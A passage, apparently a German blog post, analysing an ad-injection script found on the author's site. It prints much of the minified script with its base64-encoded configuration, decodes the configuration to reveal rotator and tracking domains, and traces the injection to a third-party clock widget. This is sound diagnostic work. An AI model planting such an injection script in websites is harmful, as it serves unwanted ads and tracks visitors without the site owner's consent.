            j.I = {table: "table-layout:fixed;background:" + a.background + ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:" + a.width + a.widthUnit + ";border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor + ";", D: "vertical-align:top;background:" + a.cellBackground + ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + A.l +
                ";width:" + a.width / a.horizCount + a.widthUnit + ";", u: "z-index:1;margin:" + A.C + ";position:relative;" + B + ";height:" + A.size + "px;width:" + A.size + "px;float:" + A.m + ";", h: "z-index:1;position:absolute;top:0;left:0;width:" + a.bannerSize + "px;height:" + a.bannerSize + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor + ";", text: "margin:" + A.margin + ";cursor:pointer;float:" + A.m + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" +
                ("false" != a.textFontBold ? "700" : "100") + ";font-size:" + n + a.textSizeUnit + ";font-family:" + a.textFont + ";color:" + a.textColor + ";", sPText: "margin:" + A.margin + ";cursor:pointer;float:" + A.m + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textFontBold ? "700" : "100") + ";font-size:" + n + a.textSizeUnit + ";font-family:" + a.textFont + ";color:" + a.textColor + ";"};
            j.P = {table: "table-layout:fixed;background:" + a.backgroundOnmouseover +
                ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:" + a.width + a.widthUnit + ";border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor + ";", D: "vertical-align:top;background:" + a.cellBackgroundOnmouseover + ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + A.l + ";width:" + a.width / a.horizCount + a.widthUnit + ";", u: "z-index:5;margin:" + A.C + ";position:relative;" + B + ";height:" + A.size + "px;width:" + A.size + "px;float:" +
                A.m + ";", h: "z-index:10;cursor:pointer;position:absolute;top:" + w.A.top + "px;left:" + w.A.left + "px;height:" + a.bannerSizeOnmouseover + "px;width:" + a.bannerSizeOnmouseover + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor + ";", text: "margin:" + A.margin + ";cursor:pointer;float:" + A.m + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textMouseOnTextFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTextFontBold ? "700" : "100") + ";font-size:" +
                m + a.textMouseOnTextSizeUnit + ";font-family:" + a.textMouseOnTextFont + ";color:" + a.textMouseOnTextColor + ";", sPText: "margin:" + A.margin + ";cursor:pointer;float:" + A.m + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textMouseOnTeaserFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTeaserFontBold ? "700" : "100") + ";font-size:" + l + a.textMouseOnTeaserSizeUnit + ";font-family:" + a.textMouseOnTeaserFont + ";color:" + a.textMouseOnTeaserColor + ";"};
            this.ta = function () {
                0 ==
                    this.d && (this.d = "over" == a.orientation ? 35 : a.bannerSize)
            };
            if (!q) {
                q = k.getElementsByTagName("script");
                A = RegExp("bid\x3d(" + a.blockId + ")(\\D|.{0}$)");
                w = 0;
                for (B = q.length; w < B; w += 1)if (-1 != q[w].src.indexOf(x.a.rotatorDomain) && A.test(g.L(q[w].src)) || -1 != q[w].text.indexOf(x.a.rotatorDomain) && -1 != q[w].text.indexOf(x.a.trsKey)) {
                    A = k.createElement("div");
                    A.id = "wzblock" + a.blockId;
                    q[w].parentNode.insertBefore(A, q[w].nextSibling);
                    break
                }
            }
            q = k.getElementById("wzblock" + a.blockId);
            q.style.display = "block";
            r.globalInfo.arrBlocks =
                [];
            this.data = a;
            p.appendChild(e);
            b(e, "table");
            for (w = A = 0; w < a.vertCount; w += 1) {
                B = k.createElement("tr");
                for (n = 0; n < a.horizCount; n += 1) {
                    var m = {D: k.createElement("td"), h: k.createElement("img"), text: k.createElement("span"), u: k.createElement("span")}, l = a.teasers[A], u = k.createElement("span"), t = k.createElement("a");
                    A++;
                    for (var v in m)b(m[v], v), "td" == v && c(m[v], m.text);
                    var C = l.trackingDomain;
                    m.h.src = x.a.imgDomain + l.src;
                    m.h.title = this.B(l.title);
                    m.h.alt = this.B(l.title);
                    m.h.setAttribute("clickUri", l.clickUri);
                    g.Q() &&
                    (m.h.onclick = function () {
                        r.open(C + g.g(this.getAttribute("clickUri") + d.G()))
                    });
                    u.innerHTML = this.B(l.title);
                    m.text.className = "wzTextSpan";
                    m.text.appendChild(u);
                    r.globalInfo.arrBlocks.push(m.text);
                    m.u.appendChild(m.h);
                    t.target = "_blank";
                    t.href = l.trackingDomain + g.g(l.clickUri);
                    t.style.cssText = "text-decoration:none;display:block;";
                    t.setAttribute("clickUri", l.clickUri);
                    t.onclick = function () {
                        this.href = C + g.g(this.getAttribute("clickUri") + d.G())
                    };
                    t.appendChild(m.u);
                    t.appendChild(m.text);
                    m.D.appendChild(t);
                    B.appendChild(m.D)
                }
                f.appendChild(B);
                e.appendChild(f)
            }
            h.src = a.teasers[0].impDomain + g.g(a.trackShowUri);
            h.style.cssText = "left:-10000px;top:-10000px;height:1px;width:1px;position:absolute;";
            p.appendChild(h);
            q.appendChild(p);
            this.o();
            if ("px" != this.r.widthUnit) {
                var E = e.offsetWidth;
                r.onresize = function () {
                    10 < Math.abs(E - e.offsetWidth) && (j.o(), E = e.offsetWidth)
                }
            }
        };
        da.prototype.o = function (a) {
            if (!this.data.dontResizeFonts) {
                0 == parseInt(this.d, 10) && this.ta();
                a = a || r.globalInfo.arrBlocks;
                for (var b = 0, c = a.length; b < c; b += 1)if ("SPAN" == a[b].tagName || "TD" ==
                    a[b].tagName) {
                    var d = a[b].getElementsByTagName("span")[0];
                    if ("undefined" !== typeof d)if (d.offsetHeight > parseInt(this.d, 10))for (; a[b].style.fontSize && d.offsetHeight > parseInt(this.d, 10) && 0 < parseInt(a[b].style.fontSize, 10);)a[b].style.fontSize = parseInt(a[b].style.fontSize, 10) - 1 + this.data.textSizeUnit; else for (; a[b].style.fontSize && d.offsetHeight < parseInt(this.d, 10) && parseInt(a[b].style.fontSize, 10) < parseInt(this.data.textSize, 10);)a[b].style.fontSize = parseInt(a[b].style.fontSize, 10) + 1 + this.data.textSizeUnit
                }
            }
        };
        E(ga, da);
        ga.prototype.p = function (a) {
            function b() {
                var a = r.scrollY || j.scrollTop || k.body.scrollTop;
                m <= a && !n ? (clearInterval(q), q = s, f.style.display = "block", d.o(), n = setInterval(function () {
                    0 > parseInt(h.style[B], 10) ? h.style[B] = parseInt(h.style[B], 10) + 20 + "px" : (h.style[B] = "0px", clearInterval(n), n = s)
                }, 20)) : m > a && !q && c()
            }
            function c(b) {
                clearInterval(n);
                n = s;
                q = setInterval(function () {
                    parseInt(h.style[B], 10) > 0 - d.width ? h.style[B] = parseInt(h.style[B], 10) - 20 + "px" : (h.style[B] = 0 - d.width + "px", clearInterval(q), q = s, b ? d.close(a,
                        f) : f.style.display = "none")
                }, 20)
            }
            this.t(a);
            var d = this, e = "wzScroller" + (new Date).getTime(), f = k.createElement("div"), p = k.createElement("div"), h = k.createElement("div"), j = k.documentElement, m = 200, n, q, B, l = "z-index:10000;overflow:hidden;bottom:0;height:100%;width:100%;background:none;", u = "margin:20px 0 0;position:absolute;top:0;width:100%;height:100%;", t = "position:absolute;width:100%;height:20px;top:-20px;";
            this.r = a;
            switch (a.bannerPosition) {
                case 6:
                    B = "left";
                    l += "left: 0;";
                    u += "padding:0 30px 5px 5px;background:url(" +
                        x.a.scriptsDomain + "img/bottom_l.png) no-repeat 100% bottom;";
                    t += "right:0;background:url(" + x.a.scriptsDomain + "img/top_l.png) no-repeat 100% 0;";
                    break;
                default:
                    B = "right", l += "right: 0;", u += "padding:0 5px 5px 30px;background:url(" + x.a.scriptsDomain + "img/bottom_r.png) no-repeat 0 bottom;", t += "left:0;background:url(" + x.a.scriptsDomain + "img/top_r.png) no-repeat 0 0;"
            }
            this.height = this.width = 0;
            h.innerHTML = '\x3cspan style\x3d"float: left;font: bold 14px Arial; color: #701C1F;"\x3e\u0427\u0418\u0422\u0410\u0419\u0422\u0415 \u0422\u0410\u041a\u0416\u0415\x3c/span\x3e\x3cspan style\x3d"float: right; font: 12px/16px Arial; color:#666;cursor: pointer;" id\x3d"close_' +
                e + '"\x3e\u0417\u0430\u043a\u0440\u044b\u0442\u044c\x3c/span\x3e\x3cdiv style\x3d"clear: both;"\x3e\x3c/div\x3e';
            h.appendChild(p);
            p.style.cssText = t;
            h.style.cssText = u;
            h.id = e;
            g.v() ? l += "position:fixed;" : (l += "position:absolute;", g.aa({F: f}), this.b(r, "scroll", function () {
                g.aa({F: f})
            }, T));
            f.style.cssText = l;
            f.appendChild(h);
            this.H(h, a);
            k.body.appendChild(f);
            f.style.width = a.width + a.widthUnit;
            l = f.offsetWidth - 35;
            h.style.width = 790 > l ? l + "px" : "755px";
            this.sa(a, e);
            f.style.width = this.width + 35 + "px";
            h.style[B] = "-" + this.width +
                "px";
            h.style.width = this.width + "px";
            f.style.height = this.height + 70 + "px";
            h.style.height = this.height + 45 + "px";
            p.style.width = f.style.width;
            f.style.display = "none";
            this.b(r, "scroll", function () {
                b()
            }, T);
            this.b(r, "resize", function () {
                b()
            }, T);
            k.getElementById("close_" + e).onclick = function () {
                c(y)
            };
            this.wrap = f;
            this.data = a;
            this.id = e;
            return this
        };
        ga.prototype.sa = function (a, b) {
            function c(a, b) {
                a.style.cssText = n.I[b];
                e.b(a, "mouseover", function () {
                    a.style.cssText = n.P[b];
                    "text" == b && n.o([a])
                }, T);
                e.b(a, "mouseout", function () {
                    a.style.cssText =
                        n.I[b];
                    n.o([a])
                }, T)
            }
            function d(a, b) {
                e.b(a, "mouseover", function () {
                    b.style.cssText = n.P.sPText;
                    "TD" == a.tagName && n.o([b])
                }, y);
                e.b(a, "mouseout", function () {
                    b.style.cssText = n.I.sPText;
                    n.o([b])
                }, y)
            }
            var e = this, f = k.createElement("table"), p = k.getElementById(b), h = k.createElement("tbody"), j = k.createDocumentFragment(), m = k.createElement("img"), n = this, q = s, l;
            if (!q)switch (q = {}, q.size = parseInt(a.bannerSize, 10) + 2 * parseInt(a.imgBorderWidth, 10), l = q.size + parseInt(a.imgMarginSize, 10), a.orientation) {
                case "over":
                    q.margin =
                        "0";
                    q.C = "0 0 " + a.imgMarginSize + "px";
                    q.m = "none";
                    q.l = "center";
                    q.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize), left: -(a.bannerSizeOnmouseover - a.bannerSize) / 2};
                    break;
                case "left":
                    q.margin = "0 0 0 " + l + "px";
                    q.C = "0 -" + l + "px 0 0";
                    q.m = "left";
                    q.l = "left";
                    q.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2, left: -(a.bannerSizeOnmouseover - a.bannerSize)};
                    break;
                case "right":
                    q.margin = "0 " + l + "px 0 0", q.C = "0 0 0 -" + l + "px", q.m = "right", q.l = "left", q.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2, left: 0}
            }
            l = q;
            var u = g.Q() ?
                "display:inline;zoom:1;" : "display:inline-block;", t = parseInt(a.textSize, 10), v = t + (parseInt(a.textMouseOnTextSize, 10) - parseInt(a.textSize, 10)), C = t + (parseInt(a.textMouseOnTeaserSize, 10) - parseInt(a.textSize, 10));
            this.d = parseInt(a.textDivHeight, 10);
            this.I = {table: "margin:5px 0;table-layout:fixed;background:" + a.background + ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:100%;border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor, D: "vertical-align:top;background:" +
                a.cellBackground + ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + l.l + ";width:" + 100 / a.horizCount + "%", u: "z-index:1;margin:" + l.C + ";position:relative;" + u + ";height:" + l.size + "px;width:" + l.size + "px;float:" + l.m, h: "position:absolute;top:0;left:0;width:" + a.bannerSize + "px;height:" + a.bannerSize + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor, text: "margin:" + l.margin + ";cursor:pointer;float:" + l.l + ";height:" + (0 != this.d ? this.d + "px" : "auto") +
                ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textFontBold ? "700" : "100") + ";font-size:" + t + a.textSizeUnit + ";font-family:" + a.textFont + ";color:" + a.textColor, sPText: "margin:" + l.margin + ";cursor:pointer;float:" + l.l + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textFontBold ? "700" : "100") + ";font-size:" + t + a.textSizeUnit + ";font-family:" + a.textFont +
                ";color:" + a.textColor};
            this.P = {table: "margin:5px 0;table-layout:fixed;background:" + a.backgroundOnmouseover + ";border-collapse:separate;border-spacing:" + a.blockMarginVert + "px " + a.blockMarginHoriz + "px;width:100%;border:" + a.borderWidth + "px " + a.borderType + " " + a.borderColor, D: "vertical-align:top;background:" + a.cellBackgroundOnmouseover + ";border:" + a.cellBorderWidth + "px " + a.cellBorderType + " " + a.cellBorderColor + ";cursor:pointer;text-align:" + l.l + ";width:" + 100 / a.horizCount + "%", u: "z-index:5;margin:" + l.C + ";position:relative;" +
                u + ";height:" + l.size + "px;width:" + l.size + "px;float:" + l.m, h: "position:absolute;cursor:pointer;top:" + q.A.top + "px;left:" + q.A.left + "px;height:" + a.bannerSizeOnmouseover + "px;width:" + a.bannerSizeOnmouseover + "px;border:" + a.imgBorderWidth + "px " + a.imgBorderType + " " + a.imgBorderColor, text: "margin:" + l.margin + ";cursor:pointer;float:" + l.l + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textMouseOnTextFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTextFontBold ?
                "700" : "100") + ";font-size:" + v + a.textMouseOnTextSizeUnit + ";font-family:" + a.textMouseOnTextFont + ";color:" + a.textMouseOnTextColor, sPText: "margin:" + l.margin + ";cursor:pointer;float:" + l.l + ";height:" + (0 != this.d ? this.d + "px" : "auto") + ";text-decoration:" + ("false" != a.textMouseOnTeaserFontUnderline ? "underline" : "none") + ";display:block;font-weight:" + ("false" != a.textMouseOnTeaserFontBold ? "700" : "100") + ";font-size:" + C + a.textMouseOnTeaserSizeUnit + ";font-family:" + a.textMouseOnTeaserFont + ";color:" + a.textMouseOnTeaserColor};
            this.ta = function () {
                0 == this.d && (this.d = "over" == a.orientation ? 35 : a.bannerSize)
            };
            r.globalInfo.arrBlocks = [];
            this.data = a;
            j.appendChild(f);
            c(f, "table");
            for (l = q = 0; l < a.vertCount; l += 1) {
                u = k.createElement("tr");
                for (t = 0; t < a.horizCount; t += 1) {
                    var v = {D: k.createElement("td"), h: k.createElement("img"), text: k.createElement("span"), u: k.createElement("span")}, C = a.teasers[q], E = k.createElement("span"), D = k.createElement("a");
                    q++;
                    for (var G in v)c(v[G], G), "td" == G && d(v[G], v.text);
                    var H = C.trackingDomain;
                    v.h.src = x.a.imgDomain +
                        C.src;
                    v.h.title = e.B(C.title);
                    v.h.alt = e.B(C.title);
                    v.h.setAttribute("clickUri", C.clickUri);
                    g.Q() && (v.h.onclick = function () {
                        this.href = H + g.g(this.getAttribute("clickUri") + e.G())
                    });
                    E.innerHTML = e.B(C.title);
                    v.text.className = "wzTextSpan";
                    v.text.appendChild(E);
                    r.globalInfo.arrBlocks.push(v.text);
                    v.u.className = "wzImgSpan";
                    v.u.appendChild(v.h);
                    D.target = "_blank";
                    D.href = C.trackingDomain + g.g(C.clickUri);
                    D.style.cssText = "text-decoration:none;display:block;";
                    D.setAttribute("clickUri", C.clickUri);
                    D.onclick = function () {
                        this.href =
                            H + g.g(this.getAttribute("clickUri") + e)
                    };
                    D.appendChild(v.u);
                    D.appendChild(v.text);
                    v.D.appendChild(D);
                    u.appendChild(v.D)
                }
                h.appendChild(u);
                f.appendChild(h)
            }
            m.src = a.teasers[0].impDomain + g.g(a.trackShowUri);
            m.style.cssText = this.U;
            j.appendChild(m);
            p.appendChild(j);
            this.height = f.offsetHeight;
            this.width = f.offsetWidth;
            if ("px" != this.data.widthUnit) {
                var I = f.offsetWidth;
                r.onresize = function () {
                    10 < Math.abs(I - f.offsetWidth) && (n.o(), width = I = f.offsetWidth)
                }
            }
        };
        E(Za, ga);
        Za.prototype.p = function (a) {
            var b = this, c = "wzPopin" +
                (new Date).getTime(), d = document.createElement("div"), e = document.createElement("div"), f = document.createElement("span"), k, h, j = "z-index:9999;overflow:hidden;height:0;width:100%;background:none;", l = "background:#fff;position:absolute;", m = "100" == a.height && "%" == a.heightUnit;
            if (m)switch (a.bannerPosition) {
                case 0:
                case 6:
                    a.bannerPosition = 3;
                    break;
                case 2:
                case 8:
                    a.bannerPosition = 5
            }
            switch (a.bannerPosition) {
                case 0:
                    k = "bottom";
                    j += "top:0;left:0;";
                    l += "margin: 0 0 20px;bottom:0;left:0;right:0;";
                    h = "bottom";
                    break;
                case 2:
                    k =
                        "bottom";
                    j += "top:0;right:0;";
                    l += "margin: 0 0 20px;bottom:0;left:0;";
                    h = "bottom";
                    break;
                case 3:
                    k = "right";
                    j += "top:0;left:0;";
                    l += "margin: 20px 0 0;bottom:0;top:0;right:0;";
                    h = "top";
                    break;
                case 5:
                    k = "left";
                    j += "top:0;right:0;";
                    l += "margin: 20px 0 0;bottom:0;top:0;left:0;right:0;";
                    h = "top";
                    break;
                case 6:
                    k = "top";
                    j += "bottom:0;left:0;";
                    l += "margin: 20px 0 0;top:0;left:0;right:0;";
                    h = "top";
                    break;
                default:
                    k = "top", j += "bottom:0;right:0;", l += "margin: 20px 0 0;bottom:0;top:0;left:0;right:0;", h = "top"
            }
            this.width = this.height =
                0;
            e.style.cssText = l;
            e.id = c;
            g.v() ? j += "position:fixed;" : (j += "position:absolute;", g.aa({F: d}), r.onscroll = function () {
                g.aa({F: d})
            });
            d.style.cssText = j;
            d.appendChild(e);
            f.style.cssText = "position: absolute; " + h + ": -17px; right: 10px;font: 12px/17px Arial; color:#666;cursor: pointer;";
            f.innerHTML = "\u0417\u0430\u043a\u0440\u044b\u0442\u044c";
            setTimeout(function () {
                e.appendChild(f)
            }, 5E3);
            this.H(e, a);
            document.body.appendChild(d);
            d.style.width = a.width + a.widthUnit;
            e.style.width = d.offsetWidth - 0 + "px";
            this.sa(a, c);
            m ? (d.style.height = "100%", e.style[k] = d.offsetWidth + "px", e.style.height = "100%") : (d.style.height = this.height + 20 + "px", e.style[k] = d.style.height, e.style.height = this.height + "px");
            e.style.width = this.width + "px";
            this.o();
            f.onclick = function () {
                b.close(a, d)
            };
            setTimeout(function () {
                var a = setInterval(function () {
                    0 < parseInt(e.style[k], 10) ? e.style[k] = parseInt(e.style[k], 10) - 10 + "px" : (e.style[k] = 0, clearInterval(a))
                }, 20)
            }, 1E3);
            this.wrap = d;
            this.data = a;
            this.id = c;
            return this
        };
        var Eb = new xa, Fb = new Ta, Gb = new Ua, Hb = new Va,
            Ib = new ca, Jb = new Wa, Kb = new ya, Lb = new Xa, Mb = new da, Nb = new ga, Ob = new Za, Pb = new Ya, g = new sb, x = new rb(xb)
    })(window, document, "eyJ2ZXJzaW9ucyI6eyJtcm90IjoiMTM4MTQ3OTUxMzA5NSIsImRpcmVjdCI6IjEzODE0Nzk1MTMwOTUiLCJzY3IiOiIxLzIyLmpzPzI0Iiwicm90IjoiMS8zLmpzPzI0IiwidGwiOiIxLzEyLmpzPzI0IiwiY29tbW9uIjoiMS8xLmpzPzI0IiwibXBwdW5kIjoiMTM4MTQ3OTUxMzA5NSIsImFzIjoiMS8yLmpzPzI0IiwiaWNxIjoiMTM4MTQ3OTUxMzA5NSIsImJyIjoiMS8xMS5qcz8yNCIsInZrbSI6IjEvMjEuanM_MjQiLCJ0c3IiOiIxLzE4LmpzPzI0IiwicGQiOiIxMzgxNDc5NTEzMDk1IiwicHB1bmQiOiIxMzgxNDc5NTEzMDk1Iiwic2dtIjoiMTM4MTQ3OTUxMzA5NSIsInBpbiI6IjEvMjMuanM_MjQiLCJqc2ZyIjoiMTM4MTQ3OTUxMzA5NSIsInBvcHVwIjoiMS80LmpzPzI0IiwibWRpcmVjdCI6IjEzODE0Nzk1MTMwOTUiLCJmciI6IjEzODE0Nzk1MTMwOTUiLCJ3YmwiOiIxMzgxNDc5NTEzMDk1IiwiZW0iOiIxMzgxNDc5NTEzMDk1IiwiY2YiOiIxLzE1LmpzPzI0In0sInNjcmlwdHNEb21haW4iOiJodHRwOi8vMTg4LjY0LjE3NC4yNS9qcy8iLCJydFVyaSI6Ii8_dD1ycnQmYmxvY2tpZHM9MVx1MDAxOCZ0cnNLZXk9NjAyMjgmdWlkPWI3ZWUxMTcwLTMyNGQtMTFlMy1iNGM0LTAwMjU5MDY4YTkyZCIsInVrRG9tYWluIjoiaHR0cDovL3NlYS53YXZldmlldy5pbmZvL3VrLyIsInVrVXJpIjoidD1zeW5jJnV1aWQ9YjdlZTExNzAtMzI0ZC0xMWUzLWI0YzQtMDAyNTkwNjhhOTJkJnJkPTE4OC42NC4xNzQuMjUiLCJyb3RhdG9yRG9tYWluIjoiaHR0cDovLzE4OC42NC4xNzQuMjUiLCJpbWdEb21haW4iOiJodHRwOi8vc2xkLk5FWFQtRkVXLklORk8iLCJ0cnNLZXkiOiI2MDIyOCIsImZvcmVpZ25VaWQiOm51bGwsIm1hdGNoaW5nVXJsIjpudWxsLCJkb250R29Ub1VLIjpudWxsLCJhclVpZCI6bnVsbCwiYWZyYW1lVXJsIjoiaHR0cDovL2V4aXN0LmJ1aWx0LWRyeS5pbmZvLzMuaHRtbCAifQ");
    


    Das Skript ist in eine anonyme Funktion eingebettet, in der drei Parameter übergeben werden: window, document und eine unverständliche Zeile. Dies ist offensichtlich etwas Interessantes, das es wert ist, analysiert zu werden. Es wird an den Parameter xb übergeben. Finden Sie die Verwendungen dieses Parameters und gehen Sie zur Zeile:
    x = new rb(xb);
    

    Dies war die einzige Verwendung dieser Zeile im Code. Was werden wir dort sehen?
        function rb(a) {
            this.a = g.parseJSON(g.L(a));
            r.globalInfo = {};
            g.log(this.a);
            if (this.a.ukDomain && this.a.ukUri && !r.udata && !this.a.dontGoToUK) {
                var b = this, c = setTimeout(function () {
                    b.oa()
                }, 5E3);
                g.da(this.a.ukDomain, this.a.ukUri, function (a) {
                    clearTimeout(c);
                    g.parseJSON(g.L(a));
                    r.globalInfo.udata = a;
                    b.oa()
                }, "jsf")
            } else this.a.foreignUid || this.Ba(this.a.matchingUrl), this.oa()
        }
    

    Wie Sie sehen, wird die parseJSON-Funktion verwendet, vorher findet jedoch eine weitere Verarbeitung statt. Wir untersuchen die Funktion L ().
    L: function (a, b) {
                a = a.replace(/[\-]/g, "+").replace(/[_]/g, "/");
                for (var c = [-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, 0, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1], d, e, f = 0, g = [], h = 0, j = 0, f = 0; f < a.length; f++)e =
                    a.charCodeAt(f), d = c[e & 127], -1 === d ? this.log("Illegal characters (code\x3d" + e + ") in position " + f) : (j = j << 6 | d, h += 6, 8 <= h && (h -= 8, "\x3d" !== a.charAt(f) && g.push(j >> h & 255), j &= (1 << h) - 1));
                if (b) {
                    c = [];
                    b &= 255;
                    for (d = 0; d < g.length; c.push(b ^ g[d]), d++);
                    g = c
                }
                return this.lb(g)
    

    Das ist interessant, der String wird transformiert und das Ergebnis wird zurückgegeben, bevor erneut eine Funktion lb () aufgerufen wird. Wir schauen uns das an:
    lb: function (a) {
                for (var b = [], c = 0, d = a.length, e, f, g; c < d;)e = a[c], f = a[c + 1], g = a[c + 2], 128 > e ? (b.push(String.fromCharCode(e)), c += 1) : 191 < e && 224 > e ? (b.push(String.fromCharCode((e & 31) << 6 | f & 63)), c += 2) : (b.push(String.fromCharCode((e & 15) << 12 | (f & 63) << 6 | g & 63)), c +=
                    3);
                return b.join("")
    

    Das ist aber schon richtig interessant. Dies ist der letzte Punkt bei der Umrechnung des dritten Parameters, nämlich unseres xb. In der Variablen x erhalten wir also ein sauberes Objekt:
    x = new rb(xb)
    

    Mal sehen, was drin ist. Kopieren Sie den gesamten Text des Skripts in FireBug und fügen Sie eine weitere Zeile hinzu:
    x = new rb(xb);
    console.debug(x);
    

    Wir führen aus und sehen das Ergebnis - reines JSON dieses ominösen dritten Parameters:
    {
        "versions":{
            "mrot":"1381475413099",
            "direct":"1381475413099",
            "scr":"1/22.js?24",
            "rot":"1/3.js?24",
            "tl":"1/12.js?24",
            "common":"1/1.js?24",
            "mppund":"1381475413099",
            "as":"1/2.js?24",
            "icq":"1381475413099",
            "br":"1/11.js?24",
            "vkm":"1/21.js?24",
            "tsr":"1/18.js?24",
            "pd":"1381475413099",
            "ppund":"1381475413099",
            "sgm":"1381475413099",
            "pin":"1/23.js?24",
            "jsfr":"1381475413099",
            "popup":"1/4.js?24",
            "mdirect":"1381475413099",
            "fr":"1381475413099",
            "wbl":"1381475413099",
            "em":"1381475413099",
            "cf":"1/15.js?24"
        },
        "scriptsDomain":"http://28310.mytop.pp.ua/js/",
        "rtUri":"/?t=rrt&blockids=123154&trsKey=60228&uid=2c2453b0-3244-11e3-9426-00259067db69",
        "ukDomain":"http://sea.waveview.info/uk/",
        "ukUri":"t=sync&uuid=2c2453b0-3244-11e3-9426-00259067db69&rd=28310.mytop.pp.ua",
        "rotatorDomain":"http://28310.mytop.pp.ua",
        "imgDomain":"http://sld.NEXT-FEW.INFO",
        "trsKey":"60228",
        "foreignUid":null,
        "matchingUrl":null,
        "dontGoToUK":null,
        "arUid":null,
        "aframeUrl":"http://exist.built-dry.info/3.html "
    }
    

    Die Parameter dieses JSON geben die URLs an, unter denen die Anforderung erfolgt. Lassen Sie uns überprüfen, wohin sie führen. Wir führen den Befehl aus:
    ping 28310.mytop.pp.ua
    PING 28310.mytop.pp.ua (188.64.174.25) 56(84) bytes of data.
    64 bytes from h1net188-64-174-25.h1host.ru (188.64.174.25): icmp_seq=1 ttl=56 time=24.3 ms
    64 bytes from h1net188-64-174-25.h1host.ru (188.64.174.25): icmp_seq=2 ttl=56 time=25.4 ms
    

    Wie Sie sehen können, führt uns dieser Ping zum Hosting von h1host.ru. Um sicher zu gehen, habe ich einen weiteren Ping auf einer anderen Domain durchgeführt:
    ping 28310.innet.pp.ua
    PING 28310.innet.pp.ua (188.64.174.25) 56(84) bytes of data.
    64 bytes from h1net188-64-174-25.h1host.ru (188.64.174.25): icmp_seq=1 ttl=56 time=24.4 ms
    

    Das gleiche Hosting nochmal. Für die letzte Überprüfung habe ich mich entschlossen, die Ressourcen, die in der Fußzeile geladen wurden, mit den Ressourcen zu vergleichen, die ich am 188.64.174.25 erhalten würde. Und das Ergebnis war alles, was in der Werbung geladen ist. Andere Ressourcen wurden auf die gleiche Weise überprüft - alles ist gleich.
    Diese IP ist also das „Gehirn“ dieser Anzeige.

    Die letzte Frage bleibt, wie kann man Ihre Site von den Tricks cooler Hacker befreien?
    Nach der Prüfung des Skripts wurde eines klar: Es speichert die Zeit für die Anzeige von Anzeigen in Cookies, die auf einer anderen Domain gespeichert sind. Es wurde auch klar, dass dieses Skript die Entry Point-Werbung ist. Alle Elemente werden hier erstellt, andere Skripte werden verbunden usw. Die Art und Weise, dieses Skript zu verbinden, befindet sich nicht in der Fußzeile der Vorlage, sondern auf Anfrage in unserer 188.64.174.25. Diese Anforderung gibt ein sauberes Skript zurück, das in eine anonyme Funktion eingebunden ist, die alles ausführt und an seine Stelle setzt. Wo macht er diese Anfrage?

    Nach einer langen Analyse der Anfragen, die vom Server kommen, kam ich zu dem Schluss, dass es nur 2 mögliche „Verdächtige“ geben kann - dies ist eine Yandex-Metrik (ja, ich habe darüber nachgedacht) und ein Widget, das ich zuerst nicht bemerkt habe - ein Widget mit 101 Widgets. com. Ich habe sofort darum gebeten, diese Uhr zu entfernen und das Ergebnis zu prüfen, ob die Werbung wieder erscheint. Nach mehreren Dutzend Proben mit und ohne Uhren, durch Anonymisierer usw. es wurde ein muster aufgedeckt - die uhr ist ein entrypoint zum herunterladen eines skripts, das wiederum bereits ein werbebanner erstellt.

    Fazit: Obwohl sich das Ergebnis als banal und witzig herausstellte, war es interessant, den Algorithmus dieses Skripts umzukehren und von Anfang an den Grund für das Erscheinen solcher Werbeplattformen einigermaßen zu erreichen. Das Widget hat unter 188.64.174.25 eine weitere Anforderung an seinen Host erstellt, die ihrerseits das Skript bestanden und den Anzeigevorgang des Banners initialisiert hat.

